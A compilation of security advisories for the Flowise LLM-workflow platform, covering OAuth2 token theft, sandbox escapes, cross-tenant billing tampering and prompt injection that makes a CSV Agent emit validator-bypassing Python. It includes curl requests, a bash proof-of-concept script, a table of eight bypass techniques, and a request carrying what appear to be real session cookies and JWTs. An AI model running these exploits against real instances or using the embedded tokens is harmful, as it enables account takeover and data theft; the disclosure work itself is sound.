See how flowiseai compares to other vendors in security performance
Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.
Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.
Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.
Flowise versions before 3.1.3 contain a remote code execution vulnerability in the Custom MCP node when CUSTOMMCPPROTOCOL is set to stdio, allowing authenticated users to execute arbitrary commands by manipulating environment variables and command arguments. Attackers can abuse PYTHONWARNINGS and BROWSER environment variables with python3, or leverage the root working directory with node to bypass validation and execute system commands.
Flowise versions before 3.1.3 contain an insecure direct object reference vulnerability in the GET /api/v1/organization/customer-default-source endpoint that allows authenticated attackers to access other customers' payment and profile data by manipulating the customerId parameter. Attackers can enumerate predictable customer IDs to retrieve sensitive information including email addresses, account balances, currency types, and billing configurations without authorization checks.
Flowise before 3.1.3 contains a code injection vulnerability in the CSV Agent node's customReadCSV parameter that allows authenticated attackers to execute arbitrary Python code. The validator uses a static regex blocklist that can be bypassed through obfuscation techniques, enabling attackers to execute code in the unsandboxed pyodide environment with full system access.
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.readjson() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.
Flowise before 3.1.3 contains a code injection vulnerability in the Airtable Agent node that allows unauthenticated attackers to execute arbitrary Python code by bypassing the pythonCodeValidator blocklist through obfuscation techniques. Attackers can send crafted prompts to a chatflow using the Airtable Agent node to inject malicious Python code that executes in an unsandboxed pyodide environment with full access to the host operating system.
Flowise before 3.1.3 contains a sandbox escape vulnerability in pythonCodeValidator.ts that fails to block native Pandas DataFrame methods like tocsv, tojson, pipe, and query. Authenticated attackers can exploit this to exfiltrate uploaded CSV data or write arbitrary files to the server filesystem.
Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes childprocess.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's file:// URL handling. In versions 3.0.8–3.1.2 exploitation requires ALLOWBUILTINDEP=true; earlier versions are exploitable by default. Fixed in 3.1.3.
Flowise versions 2.2.4 through 3.1.4 contain a missing authorization vulnerability in the POST /api/v1/openai-assistants-file/download endpoint that allows unauthenticated attackers to access private files by exploiting the endpoint's inclusion in the global authentication whitelist, which bypasses all session and API key verification. Attackers can supply valid chatflowId, chatId, and fileName identifiers to retrieve files from any chatflow on the instance, including private chatflows belonging to other workspaces or organizations.
Flowise through 3.1.4 contains a server-side request forgery vulnerability in the SSRF guard implemented in httpSecurity.ts, where the DEFAULTDENYLIST omits the Oracle Cloud Infrastructure metadata endpoint 192.0.0.192 and the Alibaba Cloud metadata endpoint 100.100.100.200, allowing authenticated attackers to force the server to issue arbitrary GET requests to cloud instance metadata services. Attackers can send requests to the fetch-links API endpoint with a crafted URL parameter, bypassing deny-list validation including redirect-based bypasses, to reach instance metadata services and expose instance identity data and role credentials on Oracle Cloud Infrastructure or Alibaba Cloud deployments, with unauthenticated access possible when URL-fetching nodes exist in public chatflows.
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is in WHITELISTURLS, meaning it requires no authentication. It decrypts the stored credential (containing clientId, clientSecret, refreshtoken), sends a refresh request to the configured OAuth provider, and returns the new accesstoken directly in the response body.
Root Cause
typescript // packages/server/src/routes/oauth2/index.ts:393-402 res.json({ success: true, message: 'OAuth2 token refreshed successfully', credentialId: credential.id, tokenInfo: { ...tokenData, // ← includes accesstoken! hasnewrefreshtoken: !!tokenData.refreshtoken, expiresat: updatedCredentialData.expiresat } })
Whitelist entry at packages/server/src/utils/constants.ts:40.
Attack Chain
1. Attacker obtains a credential ID (via Finding 2 / public chatflow leak, or enumeration) 2. Attacker calls POST /api/v1/oauth2-credential/refresh/:credentialId (no auth required) 3. Server decrypts credential, sends refresh request to OAuth provider with user's clientsecret 4. Server returns the new accesstoken in the response to the attacker 5. Attacker uses the token to access the victim's connected service (Google, Microsoft, etc.)
Docker Validation
POST /api/v1/oauth2-credential/refresh/fake-uuid returns {"message":"Credential not found"} (not 401 Unauthorized), proving the endpoint processes the request without authentication.
Impact
- OAuth2 access token theft for any connected service - Full access to the victim's third-party accounts (Google, Microsoft, GitHub, etc.) - Client secret transmitted to OAuth provider during refresh - Can also be used for DoS by exhausting refresh token quota
Suggested Fix
Remove the refresh endpoint from WHITELISTURLS and require authentication:
typescript // Remove from WHITELISTURLS in constants.ts // Add authentication check in the route handler
---
Credits
- Shinobi Security - https://github.com/shinobisecurity
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise
-- VULNERABILITY DETAILS ------------------------ Version tested: 3.1.1 Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) Platform tested: Ubuntu 25.10
---
A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSVAgents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.
Analysis
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.
The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, getattribute with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.
From packages/components/nodes/agents/CSVAgent/CSVAgent.ts: ts let pythonCode = '' if (dataframeColDict) { const chain = new LLMChain({ llm: model, prompt: PromptTemplate.fromTemplate(systemPrompt), verbose: process.env.DEBUG === 'true' ? true : false }) const inputs = { dict: dataframeColDict, question: input // user-controlled input substituted into prompt } const res = await chain.call(inputs, [loggerHandler, ...callbacks]) pythonCode = res?.text // LLM response assigned to pythonCode pythonCode = pythonCode.replace(/^[a-z]+\n|\n$/gm, '') }
let finalResult = '' if (pythonCode) { const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied if (!validation.valid) { throw new Error( Generated code was rejected for security reasons (${ validation.reason ?? 'unsafe construct' }). Please rephrase your question to use only pandas DataFrame operations. ) } try { const code = import pandas as pd\nimport numpy as np\n${pythonCode} finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide } catch (error) { throw new Error(Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}") } }
An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.
Eight bypass variants were demonstrated against the validator:
| Variant | Technique | Bypasses | |---------|-----------|----------| | 0 | @exec decorator with string-concatenated import | /\bexec\s\(/, /\bimport\s\(/ | | 1 | eval aliased to a variable, payload chr()-encoded | /\beval\s\(/, /\bimport\b/ | | 2 | df.query() with chr()-encoded @builtins.import | /\bbuiltins\b/, /\bimport\s\(/ | | 3 | MRO traversal + getattribute + subclasses -> BuiltinImporter.loadmodule | /\bclass\b/, /\bsubclasses\s\(/, /\bmro\b/ | | 4 | Generator frame inspection via giframe.fglobals['loader'] | /\bloader\b/, /\bglobals\b/ | | 5 | Exception traceback frame walk to fbuiltins['import'] | /\bglobals\b/, /\bimport\s\(/ | | 6 | buildclass.self.getattribute('import') | /\bimport\s\(/ | | 7 | vars aliased to a variable, builtins accessed via dict key | /\bvars\s\(/, /\bbuiltins\b/, /\bimport\s\(/ |
Repro
The proof of concept (poc.py) has three modes of operation:
mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.
mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.
mode = "promptinjection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.
python3 poc.py --mode [server OR chatflow OR promptinjection] [--user <USER> --passwd <PASSWORD> --host <HOST> --rhost <RHOST> --rport <RPORT> --lport <LPORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflowid <CHATID>]
-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@drecura) of TrendAI Research
Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.
This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.
Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.
File
packages/server/src/enterprise/routes/organization.route.ts
Affected routes:
typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan
File
packages/server/src/enterprise/controllers/organization.controller.ts
typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate )
return res.status(StatusCodes.OK).json(result) }
The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.
Missing validation: subscriptionId belongs to req.user.activeOrganization
updateAdditionalSeats
typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate )
return res.status(StatusCodes.OK).json(result) }
Again, the subscriptionId is taken directly from the request body without verifying ownership.
PoC Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
subYYYYYYYYYYYY
Step 2 - Modify victim subscription
http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "newPlanId": "freeplanid", "prorationDate": 1735689600 }
Step 3 - Change seat quantity
http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 }
Impact An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
- Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.
Flowise Security Audit Report Date: 2026-03-17 Researcher: Dimpal Jadhav (jadhavdimpy@gmail.com) GitHub: https://github.com/Dimpyj1604 Target: FlowiseAI/Flowise (latest main branch) Version: flowise-components@3.1.0
FINDING 1: Missing Authorization on Execution Update Endpoint Severity: HIGH (CVSS ~7.5) Type: CWE-862 (Missing Authorization) File: packages/server/src/routes/executions/index.ts:11
Description: The PUT /api/v1/executions/:id endpoint lacks the checkAnyPermission() middleware that protects all other execution endpoints (GET, DELETE). Any authenticated user — regardless of their assigned permissions — can modify any execution record.
Evidence: typescript // Line 7 - GET has permission check router.get('/', checkAnyPermission('executions:view'), executionController.getAllExecutions)
// Line 11 - PUT has NO permission check router.put(['/', '/:id'], executionController.updateExecution) // <-- MISSING checkAnyPermission
// Line 14 - DELETE has permission checkadvisory1executionauthbypass router.delete('/:id', checkAnyPermission('executions:delete'), executionController.deleteExecutions)
Impact: Privilege escalation. A low-privileged user with any valid API key can modify execution state, data, and metadata of any execution in their workspace. Could be used to manipulate workflow execution results or inject data.
Reproduction: bash curl -X PUT https://TARGET/api/v1/executions/EXECUTIONID \ -H "Authorization: Bearer LOWPRIVAPIKEY" \ -H "Content-Type: application/json" \ -d '{"state": "FINISHED", "data": "MANIPULATED"}'
Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
---
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })
packages/server/src/routes/oauth2/index.ts:183-185 (callback) typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter })
packages/server/src/routes/oauth2/index.ts:314-316 (refresh) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132 typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // <-- Workspace scoping present })
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41 typescript export const WHITELISTURLS = [ // ... '/api/v1/oauth2-credential/callback', // line 40 '/api/v1/oauth2-credential/refresh', // line 41 // ... ]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth: typescript const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check }
---
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's clientid, scope, and redirecturi.
POST /api/v1/oauth2-credential/authorize/<VICTIMCREDENTIALUUID> Cookie: connect.sid=<ATTACKERSESSION>
Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "authorizationUrl": "https://provider.com/oauth2/authorize?clientid=LEAKEDCLIENTID&scope=LEAKEDSCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" }
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKERAUTHCODE&state=<VICTIMCREDENTIALUUID> (No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() })
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refreshtoken, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIMCREDENTIALUUID> (No authentication required)
Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "tokenInfo": { "accesstoken": "new-access-token-value", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T12:00:00.000Z" } }
The fresh accesstoken is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
---
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B) - An OAuth2 credential configured in Workspace B (the victim) - The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
bash No cookies, no Bearer token — completely unauthenticated FLOWISEURL="https://TARGETINSTANCE" VICTIMCREDID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json"
Expected result if credential exists and has a refresh token: json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "accesstoken": "<VALIDACCESSTOKEN>", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T..." } }
Expected result if credential not found: json { "success": false, "message": "Credential not found" }
Step 2 — Cross-workspace authorize (requires any valid session)
bash Attacker is authenticated in Workspace A They target a credential UUID from Workspace B ATTACKERCOOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked: json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?clientid=VICTIMCLIENTID&scope=VICTIMSCOPES&...", "redirectUri": "https://TARGETINSTANCE/api/v1/oauth2-credential/callback" }
Step 3 — Forge callback to inject attacker-controlled tokens
bash Attacker sets up a rogue OAuth2 provider that returns crafted tokens, OR intercepts a legitimate flow. The state parameter is the victim credential UUID.
curl -s "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=ATTACKERCODE&state=${VICTIMCREDID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
bash #!/usr/bin/env bash set -euo pipefail
---- Configuration ---- FLOWISEURL="${1:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" VICTIMCREDID="${2:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" ATTACKERCOOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISEURL}" echo "Credential: ${VICTIMCREDID}" echo ""
--- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json")
HTTPCODE=$(echo "${REFRESHRESP}" | tail -1) BODY=$(echo "${REFRESHRESP}" | head -n -1)
if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo "[] Credential not found (UUID may be invalid)" elif echo "${BODY}" | grep -q "Missing required"; then echo "[] Credential exists but has no refreshtoken (no prior OAuth2 flow)" echo " This still confirms the endpoint is reachable without auth" else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi echo ""
--- Attack Vector 2: Cross-workspace authorize (needs session) --- if [ -n "${ATTACKERCOOKIE}" ]; then echo "[2] Attempting cross-workspace authorize..." AUTHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json")
HTTPCODE=$(echo "${AUTHRESP}" | tail -1) BODY=$(echo "${AUTHRESP}" | head -n -1)
if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Cross-workspace credential access confirmed" echo " Leaked authorization URL:" echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500 else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi else echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)" fi echo ""
--- Attack Vector 3: Confirm callback is unauthenticated --- echo "[3] Confirming callback endpoint is unauthenticated..." CALLBACKRESP=$(curl -s -w "\n%{httpcode}" \ "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=poctestcode&state=${VICTIMCREDID}")
HTTPCODE=$(echo "${CALLBACKRESP}" | tail -1)
Any response other than 401/403 confirms the endpoint is reachable without auth. A 400 with "tokenexchangefailed" means the endpoint processed the request (tried to exchange the code) — it just failed at the external provider. if [ "${HTTPCODE}" = "401" ] || [ "${HTTPCODE}" = "403" ]; then echo "[] Callback endpoint returned ${HTTPCODE} — auth is enforced (NOT vulnerable)" else echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTPCODE})" echo " The server attempted to process the OAuth2 callback." echo " With a valid authorization code, tokens would be written to the credential." fi
echo "" echo "=== PoC Complete ==="
---
Impact
| Vector | Auth Required | Impact | |--------|--------------|--------| | Credential metadata leak via /authorize | Low (any session) | Exposes clientid, scope, redirecturi from any workspace's credential | | Token injection via /callback | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values | | Token theft via /refresh | None | Obtain a fresh accesstoken for any credential's connected service (Microsoft 365, Google, etc.) |
Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.
---
Affected Components
| File | Lines | Issue | |------|-------|-------| | packages/server/src/routes/oauth2/index.ts | 80-82 | findOneBy({ id }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 183-185 | findOneBy({ id: state }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 314-316 | findOneBy({ id }) — no workspaceId | | packages/server/src/utils/constants.ts | 40 | /callback whitelisted from auth | | packages/server/src/utils/constants.ts | 41 | /refresh whitelisted from auth |
---
Remediation
1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
typescript // Before (vulnerable) const credential = await credentialRepository.findOneBy({ id: credentialId })
// After (fixed) const credential = await credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId })
2. Remove /callback and /refresh from WHITELISTURLS or implement a signed, time-limited state token that authenticates the callback without a session.
3. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).
4. Do not return accesstoken in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.
---
Summary The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.
Details - Affected endpoint: GET /api/v1/upsert-history - Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient: - Authorization checks (RBAC/user-based access control) - Data scoping (workspace/project/tenant isolation) - Pagination/limits (excessive data exposure and very large responses) - Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] }
POC
1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H 'Accept: application/json, text/plain, /' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:147.0) Gecko/20100101 Firefox/147.0' -H 'X-Request-From: internal' -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819' -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"' -H 'Connection: keep-alive' -H 'Cookie: gaDG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; ga=GA1.1.938844242.1773632276; cfclearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VMh9p0xICarIdDdB0hWfriItN1qbu00tqEmDgEv2biNpNETXF3nC0wByJmhNWOcSh95lBdQ5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; cfbm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4fQpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2seXblq8rTh8' --compressed -sS -o resp.json 2. Verify the response size (expected: very large, e.g., >100MB) ls -lh resp.json
Impact - Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping) - Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history - Security consequences: - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks - Leakage of internal schema/pipeline details (e.g., content/metadata keys) - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)
